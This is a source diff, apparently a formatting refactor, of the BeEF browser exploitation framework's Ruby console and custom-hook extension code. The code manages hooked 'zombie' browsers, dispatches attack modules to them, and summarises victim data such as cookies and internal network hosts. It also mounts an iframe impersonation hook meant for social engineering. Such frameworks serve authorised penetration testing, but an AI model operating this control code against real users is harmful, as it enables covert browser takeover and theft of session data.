|
||||||
'browser' => BD.get(hook_session_id, 'BrowserName'),
|
end
|
||||||
'ver' => BD.get(hook_session_id, 'BrowserVersion'),
|
|
||||||
'os' => [BD.get(hook_session_id, 'OsName')]})
|
|
||||||
|
|
||||||
when BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
|
def cleartarget
|
||||||
return "Verified Not Working"
|
self.targetsession = nil
|
||||||
when BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY
|
self.targetip = nil
|
||||||
return "Verified User Notify"
|
self.targetid = nil
|
||||||
when BeEF::Core::Constants::CommandModule::VERIFIED_WORKING
|
self.cmd = {}
|
||||||
return "Verified Working"
|
end
|
||||||
when BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN
|
|
||||||
return "Verified Unknown"
|
|
||||||
else
|
|
||||||
return "Verified Unknown"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
# @note Returns a JSON array containing the summary for a selected zombie.
|
# @note Get commands. This is a *modified* replica of select_command_modules_tree from extensions/admin_ui/controllers/modules/modules.rb
|
||||||
# Yoinked from the UI panel -
|
def getcommands
|
||||||
# we really need to centralise all this stuff and encapsulate it away.
|
return if targetid.nil?
|
||||||
def select_zombie_summary
|
|
||||||
|
|
||||||
return if self.targetsession.nil?
|
tree = []
|
||||||
|
BeEF::Modules.get_categories.each do |c|
|
||||||
|
c.concat('/') if c[-1, 1] != '/'
|
||||||
|
tree.push({
|
||||||
|
'text' => c,
|
||||||
|
'cls' => 'folder',
|
||||||
|
'children' => []
|
||||||
|
})
|
||||||
|
end
|
||||||
|
|
||||||
# init the summary grid
|
BeEF::Modules.get_enabled.each do |k, mod|
|
||||||
summary_grid_hash = {
|
flatcategory = ''
|
||||||
'success' => 'true',
|
if mod['category'].is_a?(Array)
|
||||||
'results' => []
|
# Therefore this module has nested categories (sub-folders), munge them together into a string with '/' characters, like a folder.
|
||||||
}
|
mod['category'].each do |cat|
|
||||||
|
flatcategory << (cat + '/')
|
||||||
|
end
|
||||||
|
else
|
||||||
|
flatcategory = mod['category']
|
||||||
|
flatcategory.concat('/') if flatcategory[-1, 1] != '/'
|
||||||
|
end
|
||||||
|
|
||||||
# zombie properties
|
update_command_module_tree(tree, flatcategory, get_command_module_status(k), mod['name'], mod['db']['id'])
|
||||||
# in the form of: category, UI label, value
|
end
|
||||||
zombie_properties = [
|
|
||||||
|
|
||||||
# Browser
|
# if dynamic modules are found in the DB, then we don't have yaml config for them
|
||||||
['Browser', 'Browser Name', 'BrowserName'],
|
# and loading must proceed in a different way.
|
||||||
['Browser', 'Browser Version', 'BrowserVersion'],
|
dynamic_modules = BeEF::Core::Models::CommandModule.where('path LIKE ?', 'Dynamic/')
|
||||||
['Browser', 'Browser UA String', 'BrowserReportedName'],
|
|
||||||
['Browser', 'Browser Language', 'BrowserLanguage'],
|
|
||||||
['Browser', 'Browser Platform', 'BrowserPlatform'],
|
|
||||||
['Browser', 'Browser Plugins', 'BrowserPlugins'],
|
|
||||||
['Browser', 'Window Size', 'WindowSize'],
|
|
||||||
|
|
||||||
# Browser Components
|
unless dynamic_modules.nil?
|
||||||
['Browser Components', 'Flash', 'HasFlash'],
|
all_modules = BeEF::Core::Models::CommandModule.all.order(:id)
|
||||||
['Browser Components', 'Java', 'JavaEnabled'],
|
all_modules.each do |dyn_mod|
|
||||||
['Browser Components', 'VBScript', 'VBScriptEnabled'],
|
next unless dyn_mod.path.split('/').first.match(/^Dynamic/)
|
||||||
['Browser Components', 'PhoneGap', 'HasPhonegap'],
|
|
||||||
['Browser Components', 'Google Gears', 'HasGoogleGears'],
|
|
||||||
['Browser Components', 'Web Sockets', 'HasWebSocket'],
|
|
||||||
['Browser Components', 'QuickTime', 'HasQuickTime'],
|
|
||||||
['Browser Components', 'RealPlayer', 'HasRealPlayer'],
|
|
||||||
['Browser Components', 'Windows Media Player','HasWMP'],
|
|
||||||
['Browser Components', 'VLC', 'HasVLC'],
|
|
||||||
['Browser Components', 'WebRTC', 'HasWebRTC'],
|
|
||||||
['Browser Components', 'ActiveX', 'HasActiveX'],
|
|
||||||
['Browser Components', 'Session Cookies', 'hasSessionCookies'],
|
|
||||||
['Browser Components', 'Persistent Cookies', 'hasPersistentCookies'],
|
|
||||||
|
|
||||||
# Hooked Page
|
dyn_mod_name = dyn_mod.path.split('/').last
|
||||||
['Hooked Page', 'Page Title', 'PageTitle'],
|
dyn_mod_category = nil
|
||||||
['Hooked Page', 'Page URI', 'PageURI'],
|
if dyn_mod_name == 'Msf'
|
||||||
['Hooked Page', 'Page Referrer', 'PageReferrer'],
|
dyn_mod_category = 'Metasploit'
|
||||||
['Hooked Page', 'Hook Host', 'HostName'],
|
else
|
||||||
['Hooked Page', 'Cookies', 'Cookies'],
|
# future dynamic modules...
|
||||||
|
end
|
||||||
|
|
||||||
# Host
|
# print_debug ("Loading Dynamic command module: category [#{dyn_mod_category}] - name [#{dyn_mod.name.to_s}]")
|
||||||
['Host', 'Date', 'DateStamp'],
|
command_mod = BeEF::Modules::Commands.const_get(dyn_mod_name.capitalize).new
|
||||||
['Host', 'Operating System', 'OsName'],
|
command_mod.session_id = hook_session_id
|
||||||
['Host', 'Hardware', 'Hardware'],
|
command_mod.update_info(dyn_mod.id)
|
||||||
['Host', 'CPU', 'CPU'],
|
command_mod_name = command_mod.info['Name'].downcase
|
||||||
['Host', 'Default Browser', 'DefaultBrowser'],
|
|
||||||
['Host', 'Screen Size', 'ScreenSize'],
|
|
||||||
['Host', 'Touch Screen', 'TouchEnabled']
|
|
||||||
]
|
|
||||||
|
|
||||||
# set and add the return values for each browser property
|
update_command_module_tree(tree, dyn_mod_category, 'Verified Unknown', command_mod_name, dyn_mod.id)
|
||||||
# in the form of: category, UI label, value
|
end
|
||||||
zombie_properties.each do |p|
|
end
|
||||||
|
|
||||||
case p[2]
|
# sort the parent array nodes
|
||||||
when "BrowserName"
|
tree.sort! { |a, b| a['text'] <=> b['text'] }
|
||||||
data = BeEF::Core::Constants::Browsers.friendly_name(BD.get(self.targetsession.to_s, p[2])).to_s
|
|
||||||
|
|
||||||
when "ScreenSize"
|
# sort the children nodes by status
|
||||||
screen_size_hash = JSON.parse(BD.get(self.targetsession.to_s, p[2]).gsub(/\"\=\>/, '":')) # tidy up the string for JSON
|
tree.each do |x|
|
||||||
width = screen_size_hash['width']
|
x['children'] =
|
||||||
height = screen_size_hash['height']
|
x['children'].sort_by { |a| a['status'] }
|
||||||
cdepth = screen_size_hash['colordepth']
|
end
|
||||||
data = "Width: #{width}, Height: #{height}, Colour Depth: #{cdepth}"
|
|
||||||
|
|
||||||
when "WindowSize"
|
# append the number of command modules so the branch name results in: "<category name> (num)"
|
||||||
window_size_hash = JSON.parse(BD.get(self.targetsession.to_s, p[2]).gsub(/\"\=\>/, '":')) # tidy up the string for JSON
|
# tree.each {|command_module_branch|
|
||||||
width = window_size_hash['width']
|
# num_of_command_modules = command_module_branch['children'].length
|
||||||
height = window_size_hash['height']
|
# command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")"
|
||||||
data = "Width: #{width}, Height: #{height}"
|
# }
|
||||||
else
|
|
||||||
data = BD.get(self.targetsession, p[2])
|
|
||||||
end
|
|
||||||
|
|
||||||
# add property to summary hash
|
# return a JSON array of hashes
|
||||||
if not data.nil?
|
tree
|
||||||
summary_grid_hash['results'].push({
|
end
|
||||||
'category' => p[0],
|
|
||||||
'data' => { p[1] => CGI.escapeHTML("#{data}") },
|
|
||||||
'from' => 'Initialization'
|
|
||||||
})
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
def setcommand(id)
|
||||||
|
key = BeEF::Module.get_key_by_database_id(id.to_i)
|
||||||
|
|
||||||
summary_grid_hash
|
cmd['id'] = id
|
||||||
end
|
cmd['Name'] = config.get("beef.module.#{key}.name")
|
||||||
|
cmd['Description'] = config.get("beef.module.#{key}.description")
|
||||||
|
cmd['Category'] = config.get("beef.module.#{key}.category")
|
||||||
|
cmd['Data'] = BeEF::Module.get_options(key)
|
||||||
|
end
|
||||||
|
|
||||||
def select_network_hosts
|
def clearcommand
|
||||||
|
self.cmd = {}
|
||||||
|
end
|
||||||
|
|
||||||
return if self.targetsession.nil?
|
def setparam(param, value)
|
||||||
|
cmd['Data'].each do |data|
|
||||||
|
if data['name'] == param
|
||||||
|
data['value'] = value
|
||||||
|
return
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
configuration = BeEF::Core::Configuration.instance
|
def getcommandresponses(cmdid = cmd['id'])
|
||||||
if !configuration.get("beef.extension.network.enable")
|
commands = []
|
||||||
print_error("Network extension is disabled")
|
i = 0
|
||||||
return {
|
|
||||||
'success' => 'false',
|
|
||||||
'results' => []
|
|
||||||
}
|
|
||||||
end
|
|
||||||
|
|
||||||
# init the summary grid
|
BeEF::Core::Models::Command.where(command_module_id: cmdid, hooked_browser_id: targetid).each do |command|
|
||||||
summary_grid_hash = {
|
commands.push({
|
||||||
'success' => 'true',
|
'id' => i,
|
||||||
'results' => []
|
'object_id' => command.id,
|
||||||
}
|
'creationdate' => Time.at(command.creationdate.to_i).strftime('%Y-%m-%d %H:%M').to_s,
|
||||||
@nh = BeEF::Core::Models::NetworkHost
|
'label' => command.label
|
||||||
hosts = @nh.where(:hooked_browser_id => self.targetsession)
|
})
|
||||||
|
i += 1
|
||||||
|
end
|
||||||
|
|
||||||
# add property to summary hash
|
commands
|
||||||
if not hosts.empty?
|
end
|
||||||
hosts.each do |x|
|
|
||||||
summary_grid_hash['results'].push({
|
def getindividualresponse(cmdid)
|
||||||
'ip' => x['ip'].to_s,
|
results = []
|
||||||
'hostname' => x['hostname'].to_s,
|
begin
|
||||||
'type' => x['type'].to_s,
|
BeEF::Core::Models::Result.where(command_id: cmdid).each do |result|
|
||||||
'os' => x['os'].to_s,
|
results.push({ 'date' => result.date, 'data' => JSON.parse(result.data) })
|
||||||
'mac' => x['mac'].to_s,
|
end
|
||||||
'lastseen' => x['lastseen'].to_s
|
rescue StandardError
|
||||||
})
|
return nil
|
||||||
|
end
|
||||||
|
results
|
||||||
|
end
|
||||||
|
|
||||||
|
def executecommand
|
||||||
|
definition = {}
|
||||||
|
options = {}
|
||||||
|
options.store('zombie_session', targetsession.to_s)
|
||||||
|
options.store('command_module_id', cmd['id'])
|
||||||
|
|
||||||
|
unless cmd['Data'].nil?
|
||||||
|
cmd['Data'].each do |key|
|
||||||
|
options.store('txt_' + key['name'].to_s, key['value'])
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
options.keys.each do |param|
|
||||||
|
definition[param[4..-1]] = options[param]
|
||||||
|
oc = BeEF::Core::Models::OptionCache.first_or_create(name: param[4..-1])
|
||||||
|
oc.value = options[param]
|
||||||
|
oc.save
|
||||||
|
end
|
||||||
|
|
||||||
|
mod_key = BeEF::Module.get_key_by_database_id(cmd['id'])
|
||||||
|
# Hack to rework the old option system into the new option system
|
||||||
|
def2 = []
|
||||||
|
definition.each do |k, v|
|
||||||
|
def2.push({ 'name' => k, 'value' => v })
|
||||||
|
end
|
||||||
|
# End hack
|
||||||
|
if BeEF::Module.execute(mod_key, targetsession.to_s, def2).nil?
|
||||||
|
false
|
||||||
|
else
|
||||||
|
true
|
||||||
|
end
|
||||||
|
|
||||||
|
# Old method
|
||||||
|
# begin
|
||||||
|
# BeEF::Core::Models::Command.new( :data => definition.to_json,
|
||||||
|
# :hooked_browser_id => self.targetid,
|
||||||
|
# :command_module_id => self.cmd['id'],
|
||||||
|
# :creationdate => Time.new.to_i
|
||||||
|
# ).save
|
||||||
|
# rescue
|
||||||
|
# return false
|
||||||
|
# end
|
||||||
|
|
||||||
|
# return true
|
||||||
|
end
|
||||||
|
|
||||||
|
def update_command_module_tree(tree, cmd_category, cmd_status, cmd_name, cmd_id)
|
||||||
|
# construct leaf node for the command module tree
|
||||||
|
leaf_node = {
|
||||||
|
'text' => cmd_name,
|
||||||
|
'leaf' => true,
|
||||||
|
'status' => cmd_status,
|
||||||
|
'id' => cmd_id
|
||||||
|
}
|
||||||
|
|
||||||
|
# add the node to the branch in the command module tree
|
||||||
|
tree.each do |x|
|
||||||
|
if x['text'].eql? cmd_category
|
||||||
|
x['children'].push(leaf_node)
|
||||||
|
break
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_command_module_status(mod)
|
||||||
|
hook_session_id = targetsession
|
||||||
|
return 'Verified Unknown' if hook_session_id.nil?
|
||||||
|
|
||||||
|
case BeEF::Module.support(
|
||||||
|
mod,
|
||||||
|
{
|
||||||
|
'browser' => BD.get(hook_session_id, 'BrowserName'),
|
||||||
|
'ver' => BD.get(hook_session_id, 'BrowserVersion'),
|
||||||
|
'os' => [BD.get(hook_session_id, 'OsName')]
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
when BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
|
||||||
|
'Verified Not Working'
|
||||||
|
when BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY
|
||||||
|
'Verified User Notify'
|
||||||
|
when BeEF::Core::Constants::CommandModule::VERIFIED_WORKING
|
||||||
|
'Verified Working'
|
||||||
|
when BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN
|
||||||
|
'Verified Unknown'
|
||||||
|
else
|
||||||
|
'Verified Unknown'
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# @note Returns a JSON array containing the summary for a selected zombie.
|
||||||
|
# Yoinked from the UI panel -
|
||||||
|
# we really need to centralise all this stuff and encapsulate it away.
|
||||||
|
def select_zombie_summary
|
||||||
|
return if targetsession.nil?
|
||||||
|
|
||||||
|
# init the summary grid
|
||||||
|
summary_grid_hash = {
|
||||||
|
'success' => 'true',
|
||||||
|
'results' => []
|
||||||
|
}
|
||||||
|
|
||||||
|
# zombie properties
|
||||||
|
# in the form of: category, UI label, value
|
||||||
|
zombie_properties = [
|
||||||
|
|
||||||
|
# Browser
|
||||||
|
['Browser', 'Browser Name', 'BrowserName'],
|
||||||
|
['Browser', 'Browser Version', 'BrowserVersion'],
|
||||||
|
['Browser', 'Browser UA String', 'BrowserReportedName'],
|
||||||
|
['Browser', 'Browser Language', 'BrowserLanguage'],
|
||||||
|
['Browser', 'Browser Platform', 'BrowserPlatform'],
|
||||||
|
['Browser', 'Browser Plugins', 'BrowserPlugins'],
|
||||||
|
['Browser', 'Window Size', 'WindowSize'],
|
||||||
|
|
||||||
|
# Browser Components
|
||||||
|
['Browser Components', 'Flash', 'HasFlash'],
|
||||||
|
['Browser Components', 'Java', 'JavaEnabled'],
|
||||||
|
['Browser Components', 'VBScript', 'VBScriptEnabled'],
|
||||||
|
['Browser Components', 'PhoneGap', 'HasPhonegap'],
|
||||||
|
['Browser Components', 'Google Gears', 'HasGoogleGears'],
|
||||||
|
['Browser Components', 'Web Sockets', 'HasWebSocket'],
|
||||||
|
['Browser Components', 'QuickTime', 'HasQuickTime'],
|
||||||
|
['Browser Components', 'RealPlayer', 'HasRealPlayer'],
|
||||||
|
['Browser Components', 'Windows Media Player', 'HasWMP'],
|
||||||
|
['Browser Components', 'VLC', 'HasVLC'],
|
||||||
|
['Browser Components', 'WebRTC', 'HasWebRTC'],
|
||||||
|
['Browser Components', 'ActiveX', 'HasActiveX'],
|
||||||
|
['Browser Components', 'Session Cookies', 'hasSessionCookies'],
|
||||||
|
['Browser Components', 'Persistent Cookies', 'hasPersistentCookies'],
|
||||||
|
|
||||||
|
# Hooked Page
|
||||||
|
['Hooked Page', 'Page Title', 'PageTitle'],
|
||||||
|
['Hooked Page', 'Page URI', 'PageURI'],
|
||||||
|
['Hooked Page', 'Page Referrer', 'PageReferrer'],
|
||||||
|
['Hooked Page', 'Hook Host', 'HostName'],
|
||||||
|
['Hooked Page', 'Cookies', 'Cookies'],
|
||||||
|
|
||||||
|
# Host
|
||||||
|
%w[Host Date DateStamp],
|
||||||
|
['Host', 'Operating System', 'OsName'],
|
||||||
|
%w[Host Hardware Hardware],
|
||||||
|
%w[Host CPU CPU],
|
||||||
|
['Host', 'Default Browser', 'DefaultBrowser'],
|
||||||
|
['Host', 'Screen Size', 'ScreenSize'],
|
||||||
|
['Host', 'Touch Screen', 'TouchEnabled']
|
||||||
|
]
|
||||||
|
|
||||||
|
# set and add the return values for each browser property
|
||||||
|
# in the form of: category, UI label, value
|
||||||
|
zombie_properties.each do |p|
|
||||||
|
case p[2]
|
||||||
|
when 'BrowserName'
|
||||||
|
data = BeEF::Core::Constants::Browsers.friendly_name(BD.get(targetsession.to_s, p[2])).to_s
|
||||||
|
|
||||||
|
when 'ScreenSize'
|
||||||
|
screen_size_hash = JSON.parse(BD.get(targetsession.to_s, p[2]).gsub(/"=>/, '":')) # tidy up the string for JSON
|
||||||
|
width = screen_size_hash['width']
|
||||||
|
height = screen_size_hash['height']
|
||||||
|
cdepth = screen_size_hash['colordepth']
|
||||||
|
data = "Width: #{width}, Height: #{height}, Colour Depth: #{cdepth}"
|
||||||
|
|
||||||
|
when 'WindowSize'
|
||||||
|
window_size_hash = JSON.parse(BD.get(targetsession.to_s, p[2]).gsub(/"=>/, '":')) # tidy up the string for JSON
|
||||||
|
width = window_size_hash['width']
|
||||||
|
height = window_size_hash['height']
|
||||||
|
data = "Width: #{width}, Height: #{height}"
|
||||||
|
else
|
||||||
|
data = BD.get(targetsession, p[2])
|
||||||
|
end
|
||||||
|
|
||||||
|
# add property to summary hash
|
||||||
|
next if data.nil?
|
||||||
|
|
||||||
|
summary_grid_hash['results'].push({
|
||||||
|
'category' => p[0],
|
||||||
|
'data' => { p[1] => CGI.escapeHTML(data.to_s) },
|
||||||
|
'from' => 'Initialization'
|
||||||
|
})
|
||||||
|
end
|
||||||
|
|
||||||
|
summary_grid_hash
|
||||||
|
end
|
||||||
|
|
||||||
|
def select_network_hosts
|
||||||
|
return if targetsession.nil?
|
||||||
|
|
||||||
|
configuration = BeEF::Core::Configuration.instance
|
||||||
|
unless configuration.get('beef.extension.network.enable')
|
||||||
|
print_error('Network extension is disabled')
|
||||||
|
return {
|
||||||
|
'success' => 'false',
|
||||||
|
'results' => []
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
# init the summary grid
|
||||||
|
summary_grid_hash = {
|
||||||
|
'success' => 'true',
|
||||||
|
'results' => []
|
||||||
|
}
|
||||||
|
@nh = BeEF::Core::Models::NetworkHost
|
||||||
|
hosts = @nh.where(hooked_browser_id: targetsession)
|
||||||
|
|
||||||
|
# add property to summary hash
|
||||||
|
unless hosts.empty?
|
||||||
|
hosts.each do |x|
|
||||||
|
summary_grid_hash['results'].push({
|
||||||
|
'ip' => x['ip'].to_s,
|
||||||
|
'hostname' => x['hostname'].to_s,
|
||||||
|
'type' => x['type'].to_s,
|
||||||
|
'os' => x['os'].to_s,
|
||||||
|
'mac' => x['mac'].to_s,
|
||||||
|
'lastseen' => x['lastseen'].to_s
|
||||||
|
})
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
summary_grid_hash
|
||||||
|
end
|
||||||
|
|
||||||
|
def select_network_services
|
||||||
|
return if targetsession.nil?
|
||||||
|
|
||||||
|
configuration = BeEF::Core::Configuration.instance
|
||||||
|
unless configuration.get('beef.extension.network.enable')
|
||||||
|
print_error('Network extension is disabled')
|
||||||
|
return {
|
||||||
|
'success' => 'false',
|
||||||
|
'results' => []
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
# init the summary grid
|
||||||
|
summary_grid_hash = {
|
||||||
|
'success' => 'true',
|
||||||
|
'results' => []
|
||||||
|
}
|
||||||
|
@ns = BeEF::Core::Models::NetworkService
|
||||||
|
services = @ns.where(hooked_browser_id: targetsession)
|
||||||
|
|
||||||
|
# add property to summary hash
|
||||||
|
unless services.empty?
|
||||||
|
services.each do |x|
|
||||||
|
summary_grid_hash['results'].push({
|
||||||
|
'proto' => x['proto'].to_s,
|
||||||
|
'ip' => x['ip'].to_s,
|
||||||
|
'port' => x['port'].to_s,
|
||||||
|
'type' => x['type'].to_s
|
||||||
|
})
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
summary_grid_hash
|
||||||
|
end
|
||||||
|
|
||||||
|
attr_reader :targetsession, :targetid, :targetip, :cmd
|
||||||
|
|
||||||
|
protected
|
||||||
|
|
||||||
|
attr_writer :targetsession, :targetid, :targetip, :cmd
|
||||||
|
attr_accessor :config
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
summary_grid_hash
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def select_network_services
|
|
||||||
|
|
||||||
return if self.targetsession.nil?
|
|
||||||
|
|
||||||
configuration = BeEF::Core::Configuration.instance
|
|
||||||
if !configuration.get("beef.extension.network.enable")
|
|
||||||
print_error("Network extension is disabled")
|
|
||||||
return {
|
|
||||||
'success' => 'false',
|
|
||||||
'results' => []
|
|
||||||
}
|
|
||||||
end
|
|
||||||
|
|
||||||
# init the summary grid
|
|
||||||
summary_grid_hash = {
|
|
||||||
'success' => 'true',
|
|
||||||
'results' => []
|
|
||||||
}
|
|
||||||
@ns = BeEF::Core::Models::NetworkService
|
|
||||||
services = @ns.where(:hooked_browser_id => self.targetsession)
|
|
||||||
|
|
||||||
# add property to summary hash
|
|
||||||
if not services.empty?
|
|
||||||
services.each do |x|
|
|
||||||
summary_grid_hash['results'].push({
|
|
||||||
'proto' => x['proto'].to_s,
|
|
||||||
'ip' => x['ip'].to_s,
|
|
||||||
'port' => x['port'].to_s,
|
|
||||||
'type' => x['type'].to_s
|
|
||||||
})
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
summary_grid_hash
|
|
||||||
end
|
|
||||||
|
|
||||||
attr_reader :targetsession
|
|
||||||
attr_reader :targetid
|
|
||||||
attr_reader :targetip
|
|
||||||
attr_reader :cmd
|
|
||||||
|
|
||||||
protected
|
|
||||||
|
|
||||||
attr_writer :targetsession
|
|
||||||
attr_writer :targetid
|
|
||||||
attr_writer :targetip
|
|
||||||
attr_writer :cmd
|
|
||||||
attr_accessor :config
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end end end
|
|
||||||
|
|||||||
@@ -8,65 +8,56 @@ require 'rex'
|
|||||||
require 'rex/ui'
|
require 'rex/ui'
|
||||||
|
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module Console
|
module Console
|
||||||
|
class Shell
|
||||||
|
DefaultPrompt = '%undBeEF%clr'
|
||||||
|
DefaultPromptChar = '%clr>'
|
||||||
|
|
||||||
class Shell
|
include Rex::Ui::Text::DispatcherShell
|
||||||
|
|
||||||
DefaultPrompt = "%undBeEF%clr"
|
def initialize(prompt = DefaultPrompt, prompt_char = DefaultPromptChar, opts = {})
|
||||||
DefaultPromptChar = "%clr>"
|
require 'extensions/console/lib/readline_compatible'
|
||||||
|
require 'extensions/console/lib/command_dispatcher'
|
||||||
include Rex::Ui::Text::DispatcherShell
|
require 'extensions/console/lib/shellinterface'
|
||||||
|
|
||||||
def initialize(prompt = DefaultPrompt, prompt_char = DefaultPromptChar, opts = {})
|
self.http_hook_server = opts['http_hook_server']
|
||||||
|
self.config = opts['config']
|
||||||
require 'extensions/console/lib/readline_compatible'
|
self.jobs = Rex::JobContainer.new
|
||||||
require 'extensions/console/lib/command_dispatcher'
|
self.interface = BeEF::Extension::Console::ShellInterface.new(config)
|
||||||
require 'extensions/console/lib/shellinterface'
|
|
||||||
|
super(prompt, prompt_char, File.expand_path(config.get('beef.extension.console.shell.historyfolder').to_s + config.get('beef.extension.console.shell.historyfile').to_s))
|
||||||
self.http_hook_server = opts['http_hook_server']
|
|
||||||
self.config = opts['config']
|
input = Rex::Ui::Text::Input::Stdio.new
|
||||||
self.jobs = Rex::JobContainer.new
|
output = Rex::Ui::Text::Output::Stdio.new
|
||||||
self.interface = BeEF::Extension::Console::ShellInterface.new(self.config)
|
|
||||||
|
init_ui(input, output)
|
||||||
super(prompt, prompt_char, File.expand_path(self.config.get("beef.extension.console.shell.historyfolder").to_s + self.config.get("beef.extension.console.shell.historyfile").to_s))
|
|
||||||
|
enstack_dispatcher(CommandDispatcher::Core)
|
||||||
input = Rex::Ui::Text::Input::Stdio.new
|
|
||||||
output = Rex::Ui::Text::Output::Stdio.new
|
# To prevent http_hook_server from blocking, we kick it off as a background job here.
|
||||||
|
jobs.start_bg_job(
|
||||||
init_ui(input,output)
|
'http_hook_server',
|
||||||
|
self,
|
||||||
enstack_dispatcher(CommandDispatcher::Core)
|
proc { |_ctx_| http_hook_server.start }
|
||||||
|
)
|
||||||
#To prevent http_hook_server from blocking, we kick it off as a background job here.
|
end
|
||||||
self.jobs.start_bg_job(
|
|
||||||
"http_hook_server",
|
def stop
|
||||||
self,
|
super
|
||||||
Proc.new { |ctx_| self.http_hook_server.start }
|
end
|
||||||
)
|
|
||||||
|
# New method to determine if a particular command dispatcher it already .. enstacked .. gooood
|
||||||
end
|
def dispatched_enstacked(dispatcher)
|
||||||
|
inst = dispatcher.new(self)
|
||||||
def stop
|
dispatcher_stack.each do |disp|
|
||||||
super
|
return true if disp.name == inst.name
|
||||||
end
|
end
|
||||||
|
false
|
||||||
#New method to determine if a particular command dispatcher it already .. enstacked .. gooood
|
end
|
||||||
def dispatched_enstacked(dispatcher)
|
|
||||||
inst = dispatcher.new(self)
|
attr_accessor :http_hook_server, :config, :jobs, :interface
|
||||||
self.dispatcher_stack.each { |disp|
|
|
||||||
if (disp.name == inst.name)
|
|
||||||
return true
|
|
||||||
end
|
end
|
||||||
}
|
end
|
||||||
return false
|
|
||||||
end
|
end
|
||||||
|
|
||||||
attr_accessor :http_hook_server
|
|
||||||
attr_accessor :config
|
|
||||||
attr_accessor :jobs
|
|
||||||
attr_accessor :interface
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end end end
|
|
||||||
@@ -4,29 +4,27 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module Customhook
|
module Customhook
|
||||||
|
module RegisterHttpHandlers
|
||||||
module RegisterHttpHandlers
|
BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'mount_handler')
|
||||||
|
BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'pre_http_start')
|
||||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'mount_handler')
|
|
||||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'pre_http_start')
|
|
||||||
|
|
||||||
def self.mount_handler(beef_server)
|
|
||||||
configuration = BeEF::Core::Configuration.instance
|
|
||||||
configuration.get("beef.extension.customhook.hooks").each do |h|
|
|
||||||
beef_server.mount(configuration.get("beef.extension.customhook.hooks.#{h.first}.path"), BeEF::Extension::Customhook::Handler.new)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def self.pre_http_start(beef_server)
|
def self.mount_handler(beef_server)
|
||||||
configuration = BeEF::Core::Configuration.instance
|
configuration = BeEF::Core::Configuration.instance
|
||||||
configuration.get("beef.extension.customhook.hooks").each do |h|
|
configuration.get('beef.extension.customhook.hooks').each do |h|
|
||||||
print_success "Successfully mounted a custom hook point"
|
beef_server.mount(configuration.get("beef.extension.customhook.hooks.#{h.first}.path"), BeEF::Extension::Customhook::Handler.new)
|
||||||
print_more "Mount Point: #{configuration.get("beef.extension.customhook.hooks.#{h.first}.path")}\nLoading iFrame: #{configuration.get("beef.extension.customhook.hooks.#{h.first}.target")}\n"
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def self.pre_http_start(_beef_server)
|
||||||
|
configuration = BeEF::Core::Configuration.instance
|
||||||
|
configuration.get('beef.extension.customhook.hooks').each do |h|
|
||||||
|
print_success 'Successfully mounted a custom hook point'
|
||||||
|
print_more "Mount Point: #{configuration.get("beef.extension.customhook.hooks.#{h.first}.path")}\nLoading iFrame: #{configuration.get("beef.extension.customhook.hooks.#{h.first}.target")}\n"
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|||||||
@@ -4,19 +4,17 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module Customhook
|
module Customhook
|
||||||
|
extend BeEF::API::Extension
|
||||||
extend BeEF::API::Extension
|
|
||||||
|
@short_name = 'customhook'
|
||||||
@short_name = 'customhook'
|
|
||||||
|
@full_name = 'Custom Hook Point with iFrame Impersonation'
|
||||||
@full_name = 'Custom Hook Point with iFrame Impersonation'
|
|
||||||
|
@description = 'An auto-hook and full-screen iframe - demonstrating extension creation and social engineering attacks'
|
||||||
@description = 'An auto-hook and full-screen iframe - demonstrating extension creation and social engineering attacks'
|
end
|
||||||
|
end
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
require 'extensions/customhook/api'
|
require 'extensions/customhook/api'
|
||||||
|
|||||||
@@ -4,31 +4,29 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
